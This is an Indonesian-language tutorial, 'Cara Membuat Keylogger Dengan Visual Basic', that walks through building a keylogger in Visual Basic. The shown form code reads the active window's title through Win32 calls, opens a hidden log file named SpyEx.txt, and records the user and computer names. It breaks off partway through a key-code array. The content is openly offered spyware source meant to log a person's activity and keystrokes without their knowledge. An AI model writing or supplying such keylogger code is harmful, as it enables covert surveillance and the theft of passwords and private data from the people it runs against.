Cara Membuat Keylogger Dengan Visual Basic

Buat Project baru pada Visual basic, tambahkan 1 Form dan 1 Module. Pada Form tambahkan juga 1 Timer, Aturlah Properties Timmer Interval=0.


Ketiklah Kode program berikut ini.

- FORM CODE-
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Dim title As String, last As String, strInfo As String, fileName As String
Dim handle As Long, length As Long
Dim i As Integer
Dim fso As New FileSystemObject, txt As TextStream

Private Sub Form_Load()
    'Atur Path untuk LOG file
       fileName = App.Path & "\SpyEx.txt"
       Set txt = fso.OpenTextFile(fileName, ForAppending, True)
       txt.WriteLine ("Started: " & Now)
       Set objNet = CreateObject("WScript.NetWork")
       strInfo = "User Name: " & objNet.UserName & vbCrLf & _
                     "Computer Name: " & objNet.ComputerName & vbCrLf
       txt.WriteLine (vbNewLine & strInfo)

       keyChar = Array(8, 9, 160, 17, 18, 35, 36, 46, 91, 92, _
